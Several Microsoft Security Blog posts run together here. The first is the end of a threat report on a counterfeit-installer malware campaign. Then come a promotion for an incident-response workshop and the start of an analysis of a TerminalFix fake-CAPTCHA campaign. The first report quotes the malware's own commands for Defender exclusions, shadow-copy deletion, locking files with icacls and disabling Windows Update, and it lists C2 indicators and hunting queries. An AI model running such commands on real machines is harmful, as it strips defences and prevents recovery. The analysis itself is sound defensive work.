02:44:20.887 PROC .exe started parent: svchost.exe (Task Scheduler) 02:44:21.971 NETWORK outbound to 47.239.232[.]245:8050 → FirewallOutboundConnectionBlocked 02:44:24.860 NETWORK outbound to 47.243.218[.]255:28300 → FirewallOutboundConnectionBlocked 02:44:37.568 PROC target application starts (-autorun) 02:44:37.604 INJECT CreateRemoteThreadApiCall .exe → target application Defense evasion: disabling host protections

Follow-on payloads take a layered approach to weakening the host. They add sweeping Microsoft Defender path exclusions via PowerShell (Add-MpPreference -ExclusionPath) and the SYSTEM scheduled-task registry write;

powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force powershell.exe -c if (Get-Process -Name HAhahahah) {} else { Add-MpPreference -ExclusionPath $env:localappdata,'C:\','C:\ProgramData', 'C:\ProgramData\7b3St9HS','C:\ProgramData\7b3St9HS\27s7ihjC.exe' -ExclusionExtension '.dat' -Force }

delete volume shadow copies (vssadmin delete shadows /all /quiet) to inhibit recovery;

cmd.exe /c vssadmin delete shadows /all /quiet

harden payload directories with icacls so standard users cannot remove the files;

icacls "C:\Program Files (x86)\NPq6k16Om\xo7Tj9xQ.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F

and neutralize Windows Update by stopping and disabling wuauserv, UsoSvc, uhssvc, and WaaSMedicSvc, renaming update dynamic-link libraries (DLLs), and deleting the SoftwareDistribution cache.

for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i & sc config %i start= disabled & sc failure %i reset= 0 actions= "" ) for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll & icacls …\%i.dll /grant *S-1-1-0:F & rename …\%i.dll %i_BAK.dll & icacls …\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" & icacls …\%i_BAK.dll /remove *S-1-1-0 ) reg add "HKLM\…\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f erase /f /s /q c:\windows\softwaredistribution\*.* & rmdir /s /q c:\windows\softwaredistribution powershell -Command Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask

A malicious Windows Defender Application Control policy was written to the code-integrity store on multiple devices; Microsoft Defender Antivirus detected the tamper behavior as Behavior:Win32/MpTamperGpDisableAVFriendly.A.

Command and control (C2)

A later-stage networking payload establishes command-and-control over application-layer protocols on non-standard ports — observed ports include 5090, 7031, 7032, 7088–7090, 8050, 28290, and 28300.

Initiating payloadC2 endpoint (defanged)Result40gK5T.exe, RhT9aQ.exe (Program Files (x86))103.156.25[.]35:7031Connection failedMultiple C:\ProgramData\ payloads103.183.3[.]162:5090 (oijfwe[.]net)Connection failedStage-one / persistent payloadsAlibaba Cloud object storage over TLS (443)Connection succeeded

C2 endpoints comprise a set of six-character [.]net domains (iualef, oijfwe, euioxu, czijbh, wfmwsj, tbdqxq) and IP-and-port endpoints; a primary hub was observed on 202.95.14[.]237 (AS152194, CTG Server Limited). Payloads were observed beaconing to these endpoints with both successful and failed callbacks; the dedicated [.]net and IP-and-port C2 was intermittently unreachable while the same payloads still completed TLS connections to cloud object storage, consistent with a dedicated C2 tier that was often down while cloud-hosted staging remained live.

Detection and disruption

In observed environments, Microsoft Defender surfaced alerts across multiple stages and, where criteria were met, Attack Disruption engaged to contain affected devices and accounts.

Representative alerts include Modification attempt in Microsoft Defender Antivirus exclusion list, Compromised device (attack disruption), A process was injected with potentially malicious code, Potential C2 connection behavior, Suspicious Task Scheduler activity, and Compromised account conducting hands-on-keyboard attack. The campaign is not purely automated. In a subset of environments, the automated execution was accompanied by interactive, hands-on-keyboard activity, which attack disruption engaged to contain.

Microsoft Defender also blocked the attempted Server Message Block (SMB) lateral movement to additional hosts (Lateral movement using SMB remote file access blocked on multiple devices) and detected the C2 connection behavior; the campaign’s C2 endpoints are included in the blocked indicator set.

Attack disruption contained the device and account; full eradication of persistence still required responder action.

StageMicrosoft Defender coverageFake-download landing and delivery domainsMicrosoft Defender SmartScreen, Network Protection, Web content filteringMalicious ZIP and stage-one execution (including msiexec proxy execution)Microsoft Defender Antivirus (behavioral + cloud-delivered protection); Microsoft Defender for EndpointDefender tampering & exclusion writesTamper Protection; Modification attempt in exclusion list alerts; Behavior:Win32/MpTamperGpDisableAVFriendly.A Persistence, privilege escalation, and injection Microsoft Defender for Endpoint — “Suspicious Task Scheduler activity”; “A process was injected with potentially malicious code”Command and control, lateral movement, and hands-on-keyboardMicrosoft Defender XDR — “Potential C2 connection behavior”; “Lateral movement using SMB remote file access blocked on multiple devices”; “Compromised account conducting hands-on-keyboard attack”; Network protection (C2 block); Attack disruption (automatic containment) Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

Campaign-specific recommendations

• Enforce Tamper Protection. It blocks exclusion and registry writes to Microsoft Defender even when the payload runs as SYSTEM — directly countering the throwaway SYSTEM scheduled-task technique this campaign relies on.
• Hunt behavior, not file names. File names and hashes rotate on every download; pivot on the C:\Users\Public\<random>\<random>.exe and C:\Program Files (x86)\<random>\<random>.exe drop pattern, the Philips-Speech masquerade, and the stable stage-one and networking payload hashes.
• Alert on the tamper sequence. A SYSTEM scheduled task writing HKLM\…\Windows Defender\Exclusions\Paths then self-deleting, vssadmin delete shadows /all /quiet, and disabling wuauserv, UsoSvc, WaaSMedicSvc and uhssvc are high-fidelity signals.
• Treat look-alike download archives as malicious in web and mail flow. Block ZIPs named app_setup.*, zinst.*, zintall.*, intsoft.*, and innstll.* served from *.com.cn or *.hl.cn brand-look-alike domains and the /712down, /73inst, /7qinst, and /ins711 delivery endpoints.
• Correlate download referrers. Use FileOriginUrl and FileOriginReferrerUrl to catch landing-page to delivery-host pairs even after individual domains rotate, and block the C2 IP:port set and .net C2 domains.

Microsoft Defender XDR hardening recommendations

Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:

• Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
• Block execution of potentially obfuscated scripts 
• Block use of copied or impersonated system tools 
• Use advanced protection against ransomware 

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Figure 3. Diagram mapping attacker activity stages to Microsoft Defender protections including SmartScreen, Defender Antivirus, endpoint detection and response (EDR) detections, Network Protection, and Attack Disruption. Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

These promptbooks can help analysts summarize affected entities, review alert timelines, and pivot on the IOCs included in this blog. Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft Defender XDR customers can use threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the malicious activity and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Advanced hunting

Microsoft Defender XDR and Microsoft Sentinel customers can run the following queries. . The behavior-based queries continue to work even as filenames, hashes, and domains rotate.

Campaign payloads and loaders Surfaces execution or creation of the campaign’s stable stage-one, later-stage, persistent, networking, and loader binaries by SHA-256.

let campaignSha256 = dynamic([ "676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7", // stage-one "6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8", // later-stage "c4100ad39d8db98f063feb6c3b6c8e9a9f9d9bf25a1e0233f43b058ff8a7dbdf", // networking "1bd3662d784840e410d2d3c0a1040277f7f549089447359f01e05c2559cb1f17", // persistent "c6100166e2d3b40388980f7674712ef39e937ac04925ca5d370415399ed73faf", // TrueUpdate loader "f33d160d757e4b39019fdef21cf90cafb501b800ca0d4039366bc30856e3d81b", // persistent/networking "e4fe2dee8f0bb132fa15fc686d1f93df39530a2d3a8d3a1f3a605a057c04e7b3" // supporting DLL ]); union (DeviceProcessEvents | where SHA256 in (campaignSha256)), (DeviceFileEvents | where SHA256 in (campaignSha256)) | project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Randomized payload drop pattern Finds executables dropped into randomized folders under world-writable or system locations — the campaign’s stable staging behavior regardless of filename.

DeviceProcessEvents | where FolderPath matches regex @"(?i)^C:\\(Users\\Public|ProgramData|Program Files \(x86\))\\[A-Za-z0-9]{4,10}\\[A-Za-z0-9]{4,10}\.exe$" | where InitiatingProcessFileName in~ ("msiexec.exe","explorer.exe","svchost.exe","cmd.exe","7zFM.exe","360zip.exe","WinRAR.exe") | project Timestamp, DeviceName, AccountName, FolderPath, FileName, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Microsoft Defender exclusion tampering Detects the SYSTEM scheduled-task and PowerShell routines that write sweeping Microsoft Defender path exclusions.

DeviceProcessEvents | where ProcessCommandLine has @"Windows Defender\Exclusions\Paths" or ProcessCommandLine has "Add-MpPreference -ExclusionPath" or (ProcessCommandLine has "SCHTASKS" and ProcessCommandLine has "SYSTEM" and ProcessCommandLine has "Exclusions") | project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine | order by Timestamp desc

Recovery inhibition and Windows Update neutralization Surfaces shadow-copy deletion and the routine that stops, disables, or renames Windows Update service components.

DeviceProcessEvents | where ProcessCommandLine has "vssadmin delete shadows" or (ProcessCommandLine has_all ("sc","config","disabled") and ProcessCommandLine has_any ("wuauserv","UsoSvc","uhssvc","WaaSMedicSvc")) or ProcessCommandLine has "NoAutoUpdate" or (ProcessCommandLine has "rename" and ProcessCommandLine has_any ("wuaueng","WaaSMedicSvc")) | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine | order by Timestamp desc

Windows Installer (msiexec) embedded-mode execution Catches the parallel delivery vector where msiexec launches a randomized payload from a world-writable path.

DeviceProcessEvents | where InitiatingProcessFileName =~ "msiexec.exe" | where InitiatingProcessCommandLine has "-Embedding" and InitiatingProcessCommandLine has @"Global\MSI0000" | where FolderPath has @"C:\Users\Public\" | project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessCommandLine | order by Timestamp desc

Disguised scheduled-task execution Flags payloads relaunched by the Task Scheduler service from user-writable directories (the ~60-second re-execution loop).

DeviceProcessEvents | where InitiatingProcessCommandLine has "netsvcs" and InitiatingProcessCommandLine has "Schedule" | where FolderPath matches regex @"(?i)^C:\\(Users\\Public|ProgramData|Program Files \(x86\))\\" | where FileName endswith ".exe" | project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName | order by Timestamp desc

Command-and-control connections Matches callbacks to the campaign’s C2 IP:port set and six-character .net C2 domains.

let c2ip = dynamic(["202.95.14.237","47.239.232.245","161.248.87.157","103.156.25.35","103.183.3.162","43.99.100.248","47.239.175.163","47.86.205.97","47.243.218.255"]); let c2ports = dynamic([5090,7031,7032,7088,7089,7090,8050,28290,28300]); let c2dom = dynamic(["iualef.net","euioxu.net","czijbh.net","wfmwsj.net","tbdqxq.net","oijfwe.net"]); DeviceNetworkEvents | where (RemoteIP in (c2ip) and RemotePort in (c2ports)) or (RemoteUrl has_any (c2dom)) | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256, RemoteIP, RemotePort, RemoteUrl, ActionType | order by Timestamp desc

Malicious delivery domains and download endpoints Identifies connections to the dedicated delivery domains and the /712down, /73inst, /7qinst, /ins711 download paths.

let deliveryHosts = dynamic(["gehie246.com","yimxg25tiy.com","cc8ttkv35b.com","n7b8t85zsg.com","bxfh.tzcdq.cn","tmsq.tzcdq.cn","mebx78e02.com","qwjre1487.com"]); DeviceNetworkEvents | where RemoteUrl has_any (deliveryHosts) or RemoteUrl has_any ("/712down","/73inst","/7qinst","/ins711") | project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl, RemoteIP, ActionType | order by Timestamp desc MITRE ATT&CK techniques observed

This threat has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

TacticTechniqueIDObserved in this campaignResource DevelopmentAcquire Infrastructure: Domains / Web ServicesT1583.001 / T1583.006Registered look-alike .com.cn / .hl.cn brand domains, dedicated delivery hosts, and abused cloud object storage.ExecutionUser Execution: Malicious FileT1204.002Victims run a counterfeit installer downloaded from a spoofed vendor page.ExecutionCommand and Scripting Interpreter: PowerShell / Windows Command ShellT1059.001 / T1059.003PowerShell and cmd routines write Defender exclusions, delete shadow copies, and disable Windows Update.ExecutionSystem Binary Proxy Execution: MsiexecT1218.007msiexec.exe -Embedding launches a randomized payload under a trusted, signed Windows binary.Persistence / Privilege EscalationScheduled Task/Job: Scheduled TaskT1053.005Disguised scheduled tasks provide ~60-second recurring execution and SYSTEM privilege escalation.Defense EvasionImpair Defenses: Disable or Modify ToolsT1562.001Broad Add-MpPreference exclusions and registry exclusion writes weaken Microsoft Defender.Defense EvasionMasquerading: Match Legitimate Name or LocationT1036.005Payloads impersonate a Philips Speech driver and run svchost.exe from non-system paths.Defense EvasionHijack Execution Flow: DLL Side-LoadingT1574.002Payloads load a malicious library from their own directory — XPSPLOG.dll with the later-stage payload, UxEnhance64.dll with the stage-one payload.Defense EvasionProcess InjectionT1055Payload code is injected into the context of another process.Defense EvasionFile and Directory Permissions ModificationT1222.001icacls strips inheritance and hardens payload directories against removal.Defense EvasionModify RegistryT1112Registry keys are set for Defender exclusions and Windows Update policy.Lateral MovementRemote Services: SMB/Windows Admin SharesT1021.002Attempted SMB remote file access to additional hosts.ImpactInhibit System RecoveryT1490vssadmin delete shadows /all /quiet removes volume shadow copies.ImpactService StopT1489Stops and disables wuauserv / UsoSvc / WaaSMedicSvc to neutralize Windows Update.Command and ControlIngress Tool TransferT1105A repurposed updater runtime retrieves content from attacker-controlled cloud object storage and writes a further payload to disk.Command and ControlApplication Layer Protocol / Non-Standard PortT1071 / T1571C2 over application-layer protocols on non-standard ports (5090, 7031–7090, 8050, 28290/28300). Indicators of compromise (IOC) Figure 4. Deceptive software download campaign: infrastructure relationships. Campaign LayerIndicatorTypeLure / Impersonationpc-razerzone[.]com[.]cnDomainLure / Impersonationapp-microsoft-edge[.]com[.]cnDomainLure / Impersonationkaspersky-lab[.]hl[.]cnDomainDeliveryhxxps://www.gehie246[.]com/712downURLDeliverygehie246[.]comDomainCloud Stagingnewopt001.oss-cn-hongkong.aliyuncs[.]com/innstll.1.0.61.zipURLC2 Domainiualef[.]netDomainC2 Domainoijfwe[.]netDomainC2 Endpoint202.95.14[.]237:5090IP:PortC2 Endpoint103.183.3[.]162:5090IP:PortPayload676a2a7b94ca…SHA256Payloadc6100166e2d3…SHA256Payloadc4100ad39d8d…SHA256 References

Prior reporting and OSINT sources — Silver Fox (also known as Yinhu, 银狐)

• TweetFeed community indicator feed — weekly IOC export
• AlienVault OTX pulse — campaign delivery infrastructure and C2 indicators
• MalwareBazaar — campaign payload sample (aea879a0…)
• MalwareBazaar — campaign payload sample (6dacf281…)
• LGSRC public indicator repository

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation
• How Microsoft discovers and mitigates evolving attacks against AI guardrails
• Learn more about securing Copilot Studio agents with Microsoft Defender 

The post Counterfeit installers to system compromise: Tracking a deceptive software download campaign appeared first on Microsoft Security Blog.

In this article

1. What is the Cybersecurity Incident Response Readiness Workshop?
2. Our approach: How we assess your maturity
3. Learn more

Cybersecurity incidents can unfold in hours, but response plans often fail at the point of execution: ownership is unclear, investigation findings is difficult to access, and critical decisions are delayed. That is why incident response cannot be something your organization figures out in real time.

The Detection and Response Team (DART) – the Microsoft team that delivers Defender Experts Cybersecurity Incident Response – has supported organizations across 54 countries and regions through some of their most challenging security moments; and while we sincerely hope you never need to call us in the middle of a live incident, we do want to help you prepare for that possibility before it becomes real.

That’s exactly what the Cybersecurity Incident Response Readiness Workshop is designed to do.

What is the Cybersecurity Incident Response Readiness Workshop?

The Cybersecurity Incident Response Workshop is a collaborative, scenario driven workshop designed to evaluate your organization’s incident response (IR) plan against realistic, real-world security events, guided by DART researchers.

Rather than reviewing your plan in isolation, we work through simulated incidents together. Participants navigate realistic attack scenarios, present investigation findings, discuss decisions, and receive direct feedback from responders with extensive experience handling complex incidents worldwide.

What makes DART’s approach different?

DART’s approach combines active participation with lessons drawn from frontline incident response. Instead of reviewing a plan as a static document, the Cybersecurity Incident Response Workshop exercises how people, processes, and technology work together under pressure. Participants practice detection, containment, and response decisions while DART security researchers provide feedback grounded in real-world incident experience.

The workshop creates a controlled environment for teams to test how they detect, investigate, contain, and communicate during an incident. DART security researchers examine how people, processes, and technology work together across identity, endpoint, cloud, and communications, including whether the organization’s tools, logs, and telemetry support timely decisions against real threat actor behaviors.

Additionally, the workshop includes threat hunting exercises that let incident response teams investigate realistic scenarios with urgency but without the pressure of a live incident. This hands-on practice strengthens technical judgment and helps teams coordinate their response more effectively.

Why organizations run this workshop

The goal is not to pass or fail. It’s to discover how well your organization can make and execute critical response decisions under pressure, and where preparation today can prevent delay during a real incident.

During the Workshop, organizations are able to:

• Compare and contrast their incident response plan with insights drawn from DART’s experience across thousands of real‑world cases.
• Exercise response processes using real-world scenarios to identify strengths and improvement opportunities, including processes, threat hunting techniques, and the use of cybersecurity technologies.
• Identify potential gaps in both tools and procedures before a threat actor finds them.

In short: it’s a chance to see what holds up under pressure, where coordination or visibility begins to bend, and what your organization should reinforce before a threat actor puts the response plan to the test.

Our approach: How we assess your maturity

The workshop blends structured analysis with hands-on knowledge transfer, creating an experience that is both evaluative and practical.

The assessment examines how your organization’s people, processes, and technology support incident response across identity, endpoint, cloud, and communications. It also evaluates whether available tools and telemetry provide the visibility needed to respond to real threat actor tactics.

Additional knowledge transfer is delivered through interactive exercises led by DART, encouraging cross-team collaboration while sharing proven detection and containment practices drawn from real incidents.

What organizations walk away with

By the end of the workshop, organizations leave with a clearer view of how their incident response capability performs today and where focused improvements can strengthen readiness. You’ll take away:

• Clear identification of strengths and opportunities in IR preparation and execution.
• Insight into how tools, techniques, and available data perform during an incident.
• A summary of findings and prioritized recommendations to help strengthen incident response readiness and guide next steps.

Scope and structure

The engagement begins by aligning on objectives, participants, logistics, and expected outcomes so the scenarios and discussions can be tailored to the organization’s needs

The workshop spans 2 or 3 days, including:

• Kick off and introductions to understand who the audience is and what they hope to gain from the workshop; this helps us tailor our delivery approach for each unique organization
• Knowledge-transfer sessions
• Scenarios and guided discussions assessing current capabilities
• Closeout and recommended next steps

Practice before it matters

If your incident response plan lives mostly on paper, or if it’s never been exercised with the people who will use it, the Cybersecurity Incident Response Workshop provides a safe, structured way to change that. When a real incident happens, you don’t want your first conversation about roles, investigation findings, or decision-making to happen in the middle of a crisis.

Don’t wait for a live incident to test your response plan, if you have an established Unified Enterprise agreement with Microsoft, reach out to your Customer Success Account Manager (CSAM) to schedule a Cybersecurity Incident Response Workshop and give your teams the opportunity to practice before it matters most.

Learn more

• To learn more about DART capabilities, please visit our website, or contact your Microsoft Customer Success Account Manager or Premier Support contact.
• For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
• To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
• To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Cybersecurity IR Workshop: The workshop you shouldn’t miss appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
2. Mitigation and protection guidance
3. Learn more

Microsoft Threat Intelligence has observed a TerminalFix campaign, a variant of ClickFix, targeting organizations across multiple industries. The campaign uses compromised websites to display a fake Cloudflare CAPTCHA verification overlay that tricks users into copying and executing a malicious PowerShell command. While traditional ClickFix campaigns direct victims to the Windows Run dialog, TerminalFix campaigns apply the same technique but direct users to Windows Terminal or PowerShell instead, increasing the likelihood that complex, multi-line scripts execute successfully. Unlike earlier ClickFix variants that typically deliver a single infostealer, this TerminalFix campaign deploys a sophisticated multi-stage attack chain that combines DLL sideloading, steganographic payload extraction, extensive Active Directory reconnaissance, and a custom reverse-tunnel implant – giving the attacker persistent, network-level proxy access through the compromised host.

Once executed, the PowerShell command masquerades as a Cloudflare verification process while downloading a ZIP archive containing a legitimate binary (LockScreenContentServer.exe) and a malicious DLL (dui70.dll) used for sideloading. The sideloaded DLL drives an elaborate second stage: downloading payloads concealed inside PNG images using steganography, establishing dual persistence through Registry Run keys and scheduled tasks, conducting thorough domain reconnaissance—including domain trust enumeration, domain admin discovery, Active Directory user description harvesting, and targeted server ping sweeps—and ultimately deploying a Python-based reverse-tunnel C2 implant that tunnels arbitrary TCP traffic back through an encrypted WebSocket channel to attacker infrastructure.

This type of intrusion is particularly dangerous because it provides attackers with direct access to an organization’s internal network through the reverse tunnel. The observed reconnaissance and reverse-tunnel capability could enable an attacker to identify and reach additional systems from a compromised host. Microsoft did not observe the downstream actions described below in the analyzed chain. Organizations should treat affected devices as potential network pivot points and investigate for lateral movement and credential exposure. In the hands-on-keyboard phase that typically follows, attackers leverage this access to escalate privileges, disable security controls, exfiltrate sensitive data, and deploy ransomware across the organization. The combination of stealth techniques (DLL sideloading, steganography, hidden folders) and persistent network access make this TerminalFix campaign a serious threat to enterprise environments.

In this blog, we share our detailed analysis of the TerminalFix attack chain – from initial compromise through network tunneling—along with indicators of compromise, detection details, and hunting guidance to help defenders identify and respond to this threat.

Attack chain overview

The TerminalFix campaign follows a multi-stage attack chain that progresses from social engineering through payload delivery, persistence, reconnaissance, and ultimately network tunneling:

1. Initial access via compromised website – A compromised website displays a fake Cloudflare Turnstile CAPTCHA verification overlay. The user is instructed to copy and paste a “verification” command.

2. PowerShell execution – The pasted command runs a disguised PowerShell script that downloads a ZIP archive from attacker infrastructure, extracts it to C:\ProgramData, and silently launches a batch file.

3. DLL sideloading — The batch file executes LockScreenContentServer.exe, a signed legitimate binary, which automatically loads the co-located malicious dui70.dll.

4. Steganographic payload retrieval – The sideloaded DLL executes PowerShell that downloads PNG images from attacker domains, extracts embedded executables and DLL fragments hidden within pixel data, and reassembles them on disk.

5. Persistence – The malware establishes persistence through both HKCU\…\Run registry keys and scheduled tasks that re-execute LockScreenContentServer.exe every 60 minutes.

6. Reconnaissance – Extensive domain discovery is performed: domain trust enumeration, domain admin group membership, Active Directory computer and user enumeration, targeted server pinging, and system information collection in both English and Spanish locales.

7. Command execution loop – A persistent PowerShell file-watch loop monitors a text file for new commands, executes them via Invoke-Expression, and writes results to an output file-, creating a primitive but effective asynchronous command shell.

8. Reverse tunnel deployment – A Python runtime and a custom client.py tunneling implant are downloaded and launched via pythonw.exe with no visible window, establishing a reverse WebSocket tunnel to gitnow[.]dev:443 that gives the attacker full SOCKS-style TCP proxy access through the victim’s network.

Attack chain Figure 1. TerminalFix attack chain overview. 1. Initial access: Fake CAPTCHA and the TerminalFix lure

The attack begins when a user visits a compromised website that displays a fake Cloudflare Turnstile verification overlay. The original page is briefly displayed before being replaced by a convincing Cloudflare Turnstile verification overlay. This overlay spoofs the Cloudflare CAPTCHA interface, complete with the Cloudflare logo, “Verify you are human” checkbox, and a spinner animation, tricking users into believing they must complete a verification step to access the site.

Figure 2. Fake Cloudflare Turnstile verification displayed on a compromised website.

When the user interacts with the fake verification prompt, a malicious PowerShell command is silently copied to their clipboard. The on-screen instructions then guide the user to open Windows Terminal or PowerShell and paste the command. The command is carefully crafted to appear legitimate by printing reassuring Cloudflare-themed status messages in color-coded terminal output:

Figure 3. Defanged initial PowerShell command copied to the user’s clipboard by the ClickFix lure.

The command performs the following actions:

• Clears the terminal and prints a fake “Starting Cloudflare verification…” message in cyan color formatted
• Downloads a ZIP archive from the attacker’s infrastructure using a custom User-Agent header
• Extracts the archive to C:\ProgramData\f47f2a8c21c9df4e
• Launches a batch file (1.bat) that executes LockScreenContentServer.exe silently in the background
• Prints a convincing “I am not a robot – Cloudflare ID: f47f2a8c21c9df4e” confirmation message in green text

2. Payload delivery: DLL sideloading via LockScreenContentServer.exe

The downloaded ZIP archive (SHA-256: 18c2090e8a0ae0568af9b87e59eaf8270f23d2909600ed9db91a9444fd8b278f) contains two files:

FileDescriptionPurposeLockScreenContentServer.exeLegitimate signed Windows executableSideloading host; loads dui70.dll from its working directorydui70.dllMasquerading DLL claiming to be “Windows DirectUI Engine” (unsigned, forged future timestamp 2104)Malicious payload; executes second-stage PowerShell upon sideloading

LockScreenContentServer.exe is a legitimate, signed binary that has a static import dependency on dui70.dll, the Windows DirectUI Engine.

Here is the example view of LockScreenContentServer application importing dui70.dll function:

Figure 4. Example list of imports from dui70.dll

The attacker abuses this dependency by dropping a malicious dui70.dll alongside the executable. Because the Windows loader resolves the application directory before the System32 directory, the planted DLL is loaded in place of the legitimate one, a technique known as DLL sideloading (T1574.001). Execution therefore begins inside a trusted, signed process, allowing the attacker to inherit its reputation and evade controls that key on process identity.

The malicious dui70.dll embeds a heavily obfuscated payload in its resource section. On load, the DLL’s initialization path retrieves this resource, decodes it entirely in memory, and transfers execution to it, staging the next phase of the infection without ever writing the decoded payload to disk (Figures 5 and 6).

Figure 5. Loading a malicious resource (dui70.dll code path). Figure 6. Heavily obfuscated malicious resource from dui70.dll 3. Second-stage delivery: Steganography and image-based payload extraction

Once sideloaded, the malicious DLL launches an elaborate PowerShell script that retrieves additional payloads concealed within PNG image files, a technique known as steganography. The script downloads three images from attacker-controlled domains, extracts binary data encoded in pixel values, and reassembles the components on disk.

Content domains

The script uses a failover mechanism across two domains:

Figure 7. Attacker content delivery domains with failover. Steganographic extraction

The Extract-RawFileFromImage function reads each pixel’s RGBA channels and reconstructs an embedded binary. The first 8 bytes encode the payload length as a 64-bit integer, and the remaining bytes contain the file data:

Figure 8. Steganographic extraction function — payload hidden within pixel channel data.

The script downloads three images via POST requests to the content domains, extracts the executable from the first image, extracts two halves of the DLL from the second and third images, and concatenates the DLL fragments:

Figure 9. Payload extraction from three images and DLL reassembly.

Encoding payload data in PNG files can make file type and content inspection more difficult. Splitting the DLL across two images further obscures the complete payload in transit, the payloads aren’t recognizable as executables in transit, and splitting the DLL across two images further complicates detection. After extraction, the source images are deleted to reduce forensic artifacts.

4. Persistence mechanisms

The TerminalFix campaign establishes redundant persistence through two independent mechanisms, ensuring the payload survives reboots and re-executes on a recurring schedule. The dropped batch script takes the payload path as a command-line argument, validates that the file exists, and then configures both mechanisms under the same masquerading name LockScreenContentServer_MuODG5yBM chosen to blend in with the legitimate Windows Lock Screen component abused earlier in the chain.

Registry Run key

The malware creates a Run key entry with a randomized service-like name:

Figure 10. Registry Run key persistence [T1547.001]. Scheduled task

A scheduled task ensures the malware re-executes every 60 minutes:

Figure 11. Scheduled task persistence at 60-minute intervals [T1053.005]. Folder hiding

The malware directory is hidden using system and hidden file attributes:

Figure 12. Directory hiding via attrib [T1564.001]. 5. Reconnaissance and domain discovery

After establishing persistence, the sideloaded malware conducts extensive reconnaissance of the victim’s environment. This activity is consistent with a hands-on-keyboard operator or an automated pre-assessment script designed to evaluate whether the compromised host is a valuable target – particularly whether it is domain-joined and near high-value infrastructure.

System information collection

The attacker collects system metadata and the script includes English, Spanish, and German locale variants, indicating an attempt to operate across systems configured in multiple languages:

Figure 13. Bilingual system information enumeration. Active Directory enumeration

The malware performs domain trust discovery, domain admin enumeration, and Active Directory user and computer searches:

Figure 14. Active Directory enumeration including user description harvesting. Infrastructure probing

The malware systematically pings named servers to map the internal network topology:

Figure 15. Automated Windows Server enumeration via ADSI combined with targeted ping sweep.

The observed names correspond to common infrastructure roles, including domain controllers, databases, backup, gateways, and mail systems. This probing could help an attacker identify accessible target systems for follow-on activity.

6. Asynchronous command execution loop

The malware deploys a persistent PowerShell file-watch loop that creates an asynchronous command-and-control channel through the local filesystem. This mechanism monitors a “watch” file for changes, executes its contents via Invoke-Expression, and writes results to an output file:

Figure 16. File-watch command execution loop – a primitive but effective asynchronous C2 channel.

This loop provides the attacker with a way to execute arbitrary PowerShell commands by writing them to the watched text file. The output is captured to a separate file, which the attacker can read back through the reverse tunnel. This decoupled execution model allows the attacker to issue commands asynchronously and retrieve results at their convenience.

7. Reverse tunnel deployment: The custom Python-based tunneling implant

The most significant post-compromise capability observed is the deployment of a custom Python-based reverse-tunnel implant. The attacker brings their own interpreter: an unmodified, signed embeddable Python runtime pulled directly from the official python.org distribution. The malicious logic lives entirely in the accompanying client.py, giving the operator a portable, cross-version-tolerant execution environment that inherits the trust of a legitimate open-source runtime.

The deployment is orchestrated in PowerShell. It removes any prior install directory, extracts the implant kit, downloads the embeddable Python 3.14.5 archive over TLS 1.2, unpacks it into the same directory, and launches the tunnel with no visible window via pythonw.exe:

